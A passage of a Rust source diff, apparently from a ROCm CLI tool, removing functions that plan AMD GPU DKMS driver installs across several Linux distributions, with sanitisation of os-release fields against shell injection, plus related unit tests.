shell-injection class those fields close. An invalid - // value is treated as absent, falling through to the "unsupported" plan - // the same way the other fields do. - // Lowercased, as `rocm-core`'s `dkms_driver_plan_is_supported` does, so the - // two copies of the support matrix agree on `ID=Ubuntu`. - let os_id = field("ID") - .filter(|v| is_safe_shell_token(v)) - .unwrap_or_default() - .to_ascii_lowercase(); - // `version_id` is interpolated unsanitized both into the same - // single-quoted `printf '...' | tee` commands as `repo_version_expr` - // above and, on SLES, directly unquoted on the SUSEConnect command line -- - // so it gets the same char allow-list as that override. A value that - // fails it is treated as absent (empty), which cannot match any - // `(os_id, version_id)` arm below and falls through to the safe, - // non-mutating "unsupported" plan, the same way a hostile codename falls - // through to the static mapping rather than being used verbatim. - let version_id = field("VERSION_ID") - .filter(|v| is_safe_shell_token(v)) - .unwrap_or_default(); - // `codename` is interpolated unsanitized into the same single-quoted - // `printf '...' | tee` command as `repo_version_expr` above, so an - // os-release-sourced value gets the same char allow-list: a crafted - // VERSION_CODENAME/UBUNTU_CODENAME (compromised or custom base image) - // could otherwise break out of the quoting and inject shell. An invalid - // value is treated as absent, falling through to the trusted static - // `codename_for_version` mapping rather than being used verbatim. - let codename = field("VERSION_CODENAME") - .or_else(|| field("UBUNTU_CODENAME")) - .filter(|v| is_safe_shell_token(v)) - .or_else(|| codename_for_version(&os_id, &version_id).map(str::to_owned)) - .unwrap_or_default(); - let id_like = field("ID_LIKE").unwrap_or_default(); - - match (os_id.as_str(), version_id.as_str()) { - ("ubuntu", "22.04" | "24.04" | "26.04") => apt_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - true, - escalation, - ), - ("debian", "12" | "13") => { - let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; - let mut plan = apt_driver_plan( - os_id, - version_id, - repo_codename.to_owned(), - repo_version_expr, - dkms, - false, - escalation, - ); - // Debian deliberately reuses AMD's Ubuntu-suite repository: AMD's - // documented Debian install maps Debian 12 -> jammy and 13 -> noble - // and serves them from the .../ubuntu amdgpu tree. Surface that in - // the plan so the Ubuntu codename on a Debian host doesn't read as a - // misdetection. - plan.reason = format!( - "Debian intentionally uses AMD's Ubuntu-suite repository (codename {repo_codename}), per AMD's documented Debian install; the Ubuntu codename is deliberate, not a misdetection. {}", - plan.reason - ); - plan - } - ("rhel", "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - DnfDriverDistro::Rhel, - escalation, - ), - ("ol", "10.1" | "9.7" | "8.10") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - DnfDriverDistro::Oracle, - escalation, - ), - ("rocky", "9.4" | "9.6" | "9.7") => dnf_driver_plan( - os_id, - version_id, - codename, - repo_version_expr, - dkms, - DnfDriverDistro::Rocky, - escalation, - ), - ("sles" | "sle", "15.7") => { - sles_driver_plan(os_id, version_id, codename, repo_version_expr, dkms, escalation) - } - _ => driver_plan_via_id_like( - &os_id, - &version_id, - &id_like, - &codename, - &repo_version_expr, - dkms, - escalation, - ) - .unwrap_or_else(|| DriverInstallPlan { - supported: false, - mutating: false, - policy: "unsupported_linux_dkms_plan".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: "Linux DKMS driver install is currently planned only for AMD-documented Ubuntu, Debian, RHEL, Oracle Linux, SLES, and Rocky versions; no commands were guessed for this distro.".to_owned(), - preflight_checks: Vec::new(), - commands: Vec::new(), - checks: vec!["rocm examine".to_owned()], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - }), - } -} - -/// [`build_driver_install_plan_at`] for `read`, naming the file actually read -/// in an unreadable-line message, and reporting a file that exists but could -/// not be read as itself rather than as an unknown distribution. -/// -/// Without the latter, a host whose `/etc/os-release` is merely unreadable -/// (permission denied, a directory in its place) would plan nothing and say -/// "no commands were guessed for this distro" — the same message an actually -/// unsupported distribution gets — sending the user looking for a support -/// gap instead of a filesystem problem. The Windows and WSL branches never -/// reach the os-release parse at all, so they are unaffected either way and -/// are left to the normal call below. -fn build_driver_install_plan_read( - examine: &ExamineSummary, - read: &rocm_core::hardware_root::OsRelease, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - let reaches_os_release_parse = - examine.os != "windows" && !examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl); - if reaches_os_release_parse - && let rocm_core::hardware_root::OsRelease::Unreadable { path, error } = read - { - let repo_version_expr = match resolve_repo_version_expr() { - Ok(v) => v, - Err(plan) => return *plan, - }; - return unreadable_os_release_plan( - format!( - "{}; no driver commands were planned because the distro cannot be read.", - rocm_core::hardware_root::unreadable_prefix(path, error) - ), - repo_version_expr, - ); - } - build_driver_install_plan_at(examine, read.path(), read.text(), dkms, escalation) -} - -/// Select a driver install plan for a distro whose `/etc/os-release` `ID` is not -/// an AMD-documented distro, by falling back to its `ID_LIKE` base family. -/// -/// This mirrors the family resolution already used by the OpenMPI and system -/// dependency install plans in [`rocm_core::openmpi`], which honor `ID_LIKE`. A -/// derivative is matched only when its `VERSION_ID` aligns with an AMD-documented -/// version of the base family, so version-misaligned derivatives still fall -/// through to the unsupported plan rather than fabricating a repository URL that -/// would 404. -// Every parameter is one already-resolved fact the plan is templated from; -// bundling them into a struct would only move the same list one level out. -#[allow(clippy::too_many_arguments)] -fn driver_plan_via_id_like( - os_id: &str, - version_id: &str, - id_like: &str, - codename: &str, - repo_version_expr: &str, - dkms: bool, - escalation: PrivilegeEscalation, -) -> Option { - let likes: Vec = id_like - .split_whitespace() - .map(str::to_ascii_lowercase) - .collect(); - let mentions = |family: &str| likes.iter().any(|like| like == family); - - // Ubuntu-family derivatives that reuse Ubuntu's VERSION_ID (e.g. Pop!_OS) - // also reuse its repositories; the amdgpu apt line always targets the - // `ubuntu/` repo, so the plan is identical to the Ubuntu base. - // Derivatives with their own version scheme (e.g. Linux Mint's "22") do not - // match here and remain unsupported rather than guessing a codename. - if mentions("ubuntu") && matches!(version_id, "22.04" | "24.04" | "26.04") { - let codename = if codename.is_empty() { - codename_for_version("ubuntu", version_id) - .unwrap_or_default() - .to_owned() - } else { - codename.to_owned() - }; - return Some(apt_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - codename, - repo_version_expr.to_owned(), - dkms, - true, - escalation, - )); - } - - // Debian-family derivatives that share Debian's version scheme map to the - // matching Ubuntu repo codename, exactly like the Debian base. - if mentions("debian") && matches!(version_id, "12" | "13") { - let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; - return Some(apt_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - repo_codename.to_owned(), - repo_version_expr.to_owned(), - dkms, - false, - escalation, - )); - } - - // Enterprise-Linux rebuilds (e.g. AlmaLinux) reuse RHEL's version scheme and - // standard (RHCK, non-UEK) kernels, but are served from the vendor-neutral - // `el/` repository path rather than `rhel/`. Gate strictly on `ID_LIKE` - // naming `rhel`: Oracle Linux advertises only `ID_LIKE=fedora` and boots the - // UEK kernel, so it must keep its dedicated `("ol", ...)` flow and never be - // captured here with RHCK kernel commands that would fail to install. Guard - // the `ol`/`oracle` IDs explicitly as well, in case a future OL release adds - // `rhel` to `ID_LIKE`. - if mentions("rhel") && !matches!(os_id, "ol" | "oracle") && is_supported_el_version(version_id) - { - return Some(dnf_driver_plan( - os_id.to_owned(), - version_id.to_owned(), - codename.to_owned(), - repo_version_expr.to_owned(), - dkms, - DnfDriverDistro::Generic, - escalation, - )); - } - - // No SUSE-family fallback: SLES is matched exactly, and community rebuilds - // such as openSUSE Leap share the SLES version scheme but lack SUSEConnect - // entitlements, so the SLES plan's `SUSEConnect` commands would fail. They - // intentionally remain unsupported rather than producing a broken plan. - - None -} - -/// The set of Enterprise-Linux versions AMD documents for the driver install, -/// used to gate `ID_LIKE`-based matching of RHEL rebuilds. -fn is_supported_el_version(version_id: &str) -> bool { - matches!(version_id, "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") -} - -#[derive(Debug, Clone, Copy)] -enum DnfDriverDistro { - Rhel, - Oracle, - Rocky, - /// A RHEL rebuild matched via `ID_LIKE` (e.g. AlmaLinux, CentOS Stream): - /// standard RHEL kernels, served from the vendor-neutral `el/` repo path. - Generic, -} - -fn apt_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - dkms: bool, - include_linux_modules_extra: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - // AMD's page says to remove an AMDGPU driver from a previous - // installation first. Removal is destructive, so the plan only - // detects and warns; the user decides. - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "if dpkg-query -W -f='${{Status}}' amdgpu-dkms 2>/dev/null | grep -q 'install ok installed'; then echo 'warning: amdgpu-dkms from a previous installation is installed and was not removed. AMD advises removing it first (`{sudo}apt-get autoremove -y amdgpu-dkms`); continuing anyway. If the install fails, remove it and re-run.'; fi" - ), - )); - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get update"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}apt-get install -y ca-certificates curl gnupg"), - ), - ]); - let header_command = if include_linux_modules_extra { - format!( - "{sudo}apt-get install -y \"linux-headers-$(uname -r)\" \"linux-modules-extra-$(uname -r)\"" - ) - } else { - format!("{sudo}apt-get install -y \"linux-headers-$(uname -r)\"") - }; - commands.push(driver_command(DriverCommandPhase::Prepare, &header_command)); - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}install -m 0755 -d /etc/apt/keyrings"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "curl -fsSL https://repo.radeon.com/rocm/rocm.gpg.key | {sudo}gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' 'deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/amdgpu/{repo_version_expr}/ubuntu {codename} main' | {sudo}tee /etc/apt/sources.list.d/amdgpu.list >/dev/null" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' 'Package: *' 'Pin: release o=repo.radeon.com' 'Pin-Priority: 600' | {sudo}tee /etc/apt/preferences.d/rocm-pin-600 >/dev/null" - ), - ), - driver_command(DriverCommandPhase::Prepare, &format!("{sudo}apt-get update")), - ]); - commands.push(driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}apt-get install -y amdgpu-dkms"), - )); - commands.extend([ - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); - } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: if dkms { - "Plan uses AMD's package-manager DKMS flow and requires explicit approval before execution. If amdgpu-dkms from a previous installation is present, the first command only warns; the install continues and nothing is removed automatically." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`apt-get` package manager is available".to_owned()); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -// Same shape as the other distro plan builders: a flat list of resolved facts -// the command templates read, one of which is now the escalation prefix. -#[allow(clippy::too_many_arguments)] -fn dnf_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - dkms: bool, - distro: DnfDriverDistro, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - match distro { - DnfDriverDistro::Rhel | DnfDriverDistro::Generic => { - commands.extend( - rhel_kernel_prepare_commands(&version_id, escalation) - .into_iter() - .map(|command| driver_command(DriverCommandPhase::Prepare, &command)), - ); - } - DnfDriverDistro::Oracle => { - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}dnf install -y \"kernel-uek-devel-$(uname -r)\""), - )); - } - DnfDriverDistro::Rocky => { - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}dnf install -y kernel-headers kernel-devel kernel-devel-matched" - ), - )); - } - } - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), - )); - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'priority=50' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/yum.repos.d/amdgpu.repo >/dev/null", - dnf_repo_baseurl(&repo_version_expr, &version_id, distro) - ), - )); - commands.push(driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}dnf clean all"), - )); - commands.push(driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}dnf install -y amdgpu-dkms"), - )); - commands.extend([ - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); - } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: if dkms { - "Plan uses AMD's documented DNF DKMS flow and requires explicit approval before execution." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`dnf` package manager is available".to_owned()); - checks.push( - "enterprise Linux repositories are registered and current before approval" - .to_owned(), - ); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -fn sles_driver_plan( - os_id: String, - version_id: String, - codename: String, - repo_version_expr: String, - dkms: bool, - escalation: PrivilegeEscalation, -) -> DriverInstallPlan { - // Empty when already root, so no command depends on a `sudo` binary that a - // container or minimal image very likely does not have. - let sudo = escalation.prefix(); - let mut commands = Vec::new(); - if dkms { - commands.extend([ - driver_command( - DriverCommandPhase::Prepare, - &format!( - "{sudo}SUSEConnect -p sle-module-desktop-applications/{version_id}/x86_64" - ), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}SUSEConnect -p sle-module-development-tools/{version_id}/x86_64"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}SUSEConnect -p PackageHub/{version_id}/x86_64"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}zypper --non-interactive refresh"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}zypper --non-interactive install -y kernel-default-devel"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), - ), - driver_command( - DriverCommandPhase::Prepare, - &format!( - "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'autorefresh=0' 'type=rpm-md' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/zypp/repos.d/amdgpu.repo >/dev/null", - sles_repo_baseurl(&repo_version_expr, &version_id) - ), - ), - driver_command( - DriverCommandPhase::Prepare, - // `--gpg-auto-import-keys` is required here: `rpm --import` above - // only seeds the RPM keyring, but zypper tracks trusted - // *repository* signing keys separately and otherwise prompts to - // trust/reject the new repo's key on this refresh -- a prompt - // that would hang this unattended flow (no stdin attached). - &format!("{sudo}zypper --non-interactive --gpg-auto-import-keys refresh"), - ), - driver_command( - DriverCommandPhase::Execute, - &format!("{sudo}zypper --non-interactive install -y amdgpu-dkms"), - ), - driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), - driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), - driver_command( - DriverCommandPhase::Verify, - "ls /dev/dri/renderD* >/dev/null", - ), - ]); - } - - DriverInstallPlan { - supported: true, - mutating: dkms, - policy: "linux_official_amd_dkms_wrapper".to_owned(), - os_id, - version_id, - codename, - repo_version_expr, - reason: if dkms { - "Plan uses AMD's documented SLES DKMS flow and requires explicit approval before execution." - } else { - "DKMS was not requested; this is a non-mutating preflight plan." - } - .to_owned(), - preflight_checks: if dkms { - let mut checks = driver_root_preflight_checks(escalation); - checks.push("`zypper` package manager is available".to_owned()); - checks.push( - "`SUSEConnect` is available and the host is registered before approval".to_owned(), - ); - checks - } else { - Vec::new() - }, - commands, - checks: vec![ - "dkms status amdgpu".to_owned(), - "/sys/module/amdgpu".to_owned(), - "/dev/kfd".to_owned(), - "/dev/dri/renderD*".to_owned(), - "amd-smi version if present".to_owned(), - "rocminfo if present".to_owned(), - ], - // Kernel module: not live until the machine comes back up. - reboot_required: true, - } -} - -fn rhel_kernel_prepare_commands(version_id: &str, escalation: PrivilegeEscalation) -> Vec { - let sudo = escalation.prefix(); - if version_id.starts_with("8.") { - vec![ - format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), - ] - } else { - vec![ - format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), - format!("{sudo}dnf install -y \"kernel-devel-matched-$(uname -r)\""), - ] - } -} - -fn dnf_repo_baseurl(repo_version_expr: &str, version_id: &str, distro: DnfDriverDistro) -> String { - let repo_family = match distro { - DnfDriverDistro::Rhel => "rhel", - DnfDriverDistro::Oracle | DnfDriverDistro::Rocky | DnfDriverDistro::Generic => "el", - }; - let repo_version = dnf_repo_version_path(version_id); - format!( - "https://repo.radeon.com/amdgpu/{repo_version_expr}/{repo_family}/{repo_version}/main/x86_64" - ) -} - -fn sles_repo_baseurl(repo_version_expr: &str, version_id: &str) -> String { - format!("https://repo.radeon.com/amdgpu/{repo_version_expr}/sle/{version_id}/main/x86_64") -} - -fn dnf_repo_version_path(version_id: &str) -> String { - // AMD serves EL 8 and 10 from a major-version path (el8/, el10/, rhel/10/), - // but EL 9 from the point-release path (el/9.7/, rhel/9.6/). Keying on the - // major version keeps this correct for RHEL, Oracle Linux, and ID_LIKE-matched - // rebuilds alike, without depending on the specific distro `ID`. - let major = linux_major_version(version_id); - match major { - "8" | "10" => major.to_owned(), - _ => version_id.to_owned(), - } -} - -fn linux_major_version(version_id: &str) -> &str { - version_id.split('.').next().unwrap_or(version_id) -} - -fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { - match (os_id, version_id) { - ("ubuntu", "22.04") => Some("jammy"), - ("ubuntu", "24.04") => Some("noble"), - ("ubuntu", "26.04") => Some("resolute"), - ("debian", "12") => Some("jammy"), - ("debian", "13") => Some("noble"), - _ => None, - } -} - fn run_driver_shell_command(command: &str) -> Result<()> { run_shell_command_with_stdin(command, Stdio::null()) } @@ -1299,722 +460,80 @@ fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { #[cfg(test)] mod tests { use super::*; - use crate::driver_plan::{DriverPlanCommand, scoped_rocdxg_env}; + use crate::driver_plan::tests::{os_release_found, test_examine}; + use crate::driver_plan::{ + driver_command, invalid_driver_version_override_plan, wsl_rocdxg_driver_plan, + }; use crate::tests::{ScopedTestEnv, test_paths}; - fn test_examine(os: &str, wsl: bool) -> ExamineSummary { - ExamineSummary { - os: os.to_owned(), - arch: "x86_64".to_owned(), - kernel: Some("6.8.0-test".to_owned()), - distro: Some("test distro".to_owned()), - cpu: Some("AMD Ryzen".to_owned()), - system_ram_gib: Some(64.0), - interactive_terminal: false, - default_engine: "vllm".to_owned(), - detected_gfx_target: Some("gfx1201".to_owned()), - compatible_therock_family: Some("gfx120X-all".to_owned()), - detected_therock_family: None, - driver: rocm_core::DriverSummary { - policy: "linux_official_amd_dkms_wrapper".to_owned(), - status: "amdgpu_missing".to_owned(), - detail: Some("/dev/kfd missing".to_owned()), - windows: None, - }, - legacy_rocm: rocm_core::LegacyRocmSummary { - status: "not_detected".to_owned(), - paths: Vec::new(), - detail: None, - version: None, - }, - wsl: wsl.then_some(rocm_core::WslSummary { - is_wsl: true, - dxg_device: true, - dxcore: true, - librocdxg: false, - rocdxg_dids: false, - ldconfig_librocdxg: false, - rocminfo: false, - cargo: false, - detail: Some("missing librocdxg".to_owned()), - }), - managed_runtime_count: 0, - managed_service_count: 0, - model_cache_entries: 0, - config_dir: PathBuf::from("/tmp/config"), - data_dir: PathBuf::from("/tmp/data"), - cache_dir: PathBuf::from("/tmp/cache"), - } - } - - /// `text` as if read from `/etc/os-release`, for tests that only care - /// about the content and not the path — `rocm_core::hardware_root::OsRelease::found` - /// is `pub(crate)` inside `rocm-core`, so it isn't visible from this crate's - /// tests; this is the `apps/rocm`-side equivalent, used in place of - /// repeating the `OsRelease::Found { .. }` literal at every call site. - fn os_release_found(text: &str) -> rocm_core::hardware_root::OsRelease { - rocm_core::hardware_root::OsRelease::Found { - path: "/etc/os-release", - text: text.to_owned(), - } - } - - /// Every distro whose plan actually emits privileged commands, so the - /// escalation tests below sweep all of them rather than whichever one was - /// remembered. Adding a distro to the planner without adding it here would - /// leave its commands unswept. - fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { - vec![ - ( - "ubuntu", - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", - ), - ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), - ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), - ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), - ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), - ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), - ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), - ( - "almalinux-via-id-like", - "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", - ), - ] - } - - fn plan_commands(os_release: &str, escalation: PrivilegeEscalation) -> Vec { - build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - escalation, - ) - .commands - .into_iter() - .map(|command| command.command) - .collect() - } + #[test] + fn driver_plan_executor_runs_verify_after_execute() -> Result<()> { + let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + plan.commands = vec![ + driver_command(DriverCommandPhase::Prepare, "prepare"), + driver_command(DriverCommandPhase::Execute, "execute"), + driver_command(DriverCommandPhase::Verify, "verify"), + ]; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", true).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + let mut observed = Vec::new(); - /// Rewrite every `KEY=value` / `KEY="value"` line of an os-release fixture - /// in single quotes, which `os-release(5)` permits just as it does double. - fn single_quoted(os_release: &str) -> String { - os_release - .lines() - .map(|line| match line.split_once('=') { - Some((key, value)) => format!("{key}='{}'", value.trim_matches('"')), - None => line.to_owned(), - }) - .collect::>() - .join("\n") - } + execute_driver_install_plan( + &plan, + &mut state, + |command| { + observed.push(command.to_owned()); + Ok(()) + }, + |_| Ok(()), + || Ok(test_examine("linux", true).driver), + )?; - /// How a distro quotes its `/etc/os-release` must not change the plan. - /// - /// `os-release(5)` allows single or double quotes, so every supported - /// distro, rewritten in single quotes, must plan exactly as it does in - /// double quotes. - #[test] - fn a_single_quoted_os_release_builds_the_same_plan() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let plan = |text: &str| { - build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(text), - true, - PrivilegeEscalation::Sudo, - ) - }; - let double = plan(os_release); - let single = plan(&single_quoted(os_release)); - assert!( - single.supported, - "{label}: unsupported when single-quoted: {}\n{}", - single.reason, - single_quoted(os_release) - ); - assert_eq!( - (single.os_id.as_str(), single.version_id.as_str()), - (double.os_id.as_str(), double.version_id.as_str()), - "{label}: quote style changed the distro read" - ); - assert_eq!( - single.execution_commands(), - double.execution_commands(), - "{label}: quote style changed the planned commands" - ); - } + assert_eq!(observed, ["prepare", "execute", "verify"]); + assert!(state.executed_at_unix_ms.is_some()); + Ok(()) } - /// An unreadable os-release is refused as itself: the reason names the - /// offending line, and it is asserted together with what it claims — no - /// distro, no commands, nothing that mutates — and against an "unsupported - /// distro" reason, which would blame the distro instead. #[test] - fn an_unreadable_os_release_names_its_line_and_plans_nothing() { + fn driver_plan_executor_defers_verify_when_reboot_is_required() -> Result<()> { let _env = ScopedTestEnv::with_amd_overrides_cleared(); let plan = build_driver_install_plan_read( &test_examine("linux", false), - &os_release_found( - "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n", - ), + &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), true, PrivilegeEscalation::Sudo, ); - assert_eq!( - plan.reason, - "/etc/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ - commands were planned because the distro cannot be read. To fix it, remove \ - that line or rewrite it as NAME=value." - ); - assert!(!plan.supported); - assert!(plan.commands.is_empty(), "{:?}", plan.commands); - assert_eq!(plan.policy, "unreadable_os_release"); - // Nothing about the distro is claimed — not the `ubuntu`, `24.04` or - // `noble` the file assigns before the command — and the plan changes - // nothing, so it neither mutates nor needs a reboot. The one check it - // offers is the command that names the line. - assert_eq!( - ( - plan.os_id.as_str(), - plan.version_id.as_str(), - plan.codename.as_str() - ), - ("", "", "") - ); - assert!(!plan.mutating); - assert!(!plan.reboot_required); - assert!( - plan.preflight_checks.is_empty(), - "{:?}", - plan.preflight_checks - ); - assert_eq!(plan.checks, vec!["rocm examine".to_owned()]); - - // The rendered plan says so on one line, and does not also claim the - // distro is unsupported. - let rendered = render_driver_install_plan(&plan, false, true); - assert!( - rendered.contains("reason: /etc/os-release line 4 is not a plain assignment"), - "{rendered}" - ); - assert!(!rendered.contains("AMD-documented"), "{rendered}"); - assert!( - rendered.contains("execution_commands: "), - "{rendered}" - ); - } - - /// `build_driver_install_plan_read` is the one seam `install_driver` hands - /// its `real_os_release()` result to. Both are now one-line delegations - /// to `hardware_root::read_os_release`, so reverting either back to a raw - /// `/etc/os-release` read is a type error here, not a silent regression. - /// This still pins the behaviour at the seam itself: an `OsRelease` that - /// says the fallback path was read plans exactly what a primary-path read - /// with the same content would. - #[test] - fn a_fallback_read_plans_exactly_like_a_primary_read() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let examine = test_examine("linux", false); - let fallback = rocm_core::hardware_root::OsRelease::Found { - path: "/usr/lib/os-release", - text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), - }; - let primary = rocm_core::hardware_root::OsRelease::Found { - path: "/etc/os-release", - text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), - }; - - let from_fallback = - build_driver_install_plan_read(&examine, &fallback, true, PrivilegeEscalation::Sudo); - let from_primary = - build_driver_install_plan_read(&examine, &primary, true, PrivilegeEscalation::Sudo); - assert_eq!(from_fallback.os_id, "ubuntu"); - assert_eq!( - ( - from_fallback.os_id.clone(), - from_fallback.version_id.clone(), - from_fallback.codename.clone(), - from_fallback.reason.clone(), - from_fallback.execution_commands(), - ), - ( - from_primary.os_id.clone(), - from_primary.version_id.clone(), - from_primary.codename.clone(), - from_primary.reason.clone(), - from_primary.execution_commands(), - ), - ); - } - - /// A file that exists but could not be read plans nothing and names - /// itself, distinctly from both an unreadable *line* (which still comes - /// from a file that was read, see - /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`]) and from - /// an unsupported distribution — which would send the user looking for a - /// support gap instead of a filesystem problem. - #[test] - fn an_unreadable_file_plans_nothing_and_names_itself() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!(plan.policy, "unreadable_os_release"); - assert!(!plan.supported); - assert!(plan.commands.is_empty(), "{:?}", plan.commands); - assert_eq!( - plan.reason, - "/usr/lib/os-release could not be read: denied; no driver commands were planned \ - because the distro cannot be read." - ); - } - - /// The unreadable-os-release branch resolves `repo_version_expr` via the - /// same [`resolve_repo_version_expr`] call the normal path uses, before - /// it ever builds an `unreadable_os_release_plan`. A malformed override - /// must still be refused here, not silently dropped because the distro - /// itself could not be identified. - #[test] - fn an_unreadable_os_release_still_refuses_a_malformed_version_override() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set( - 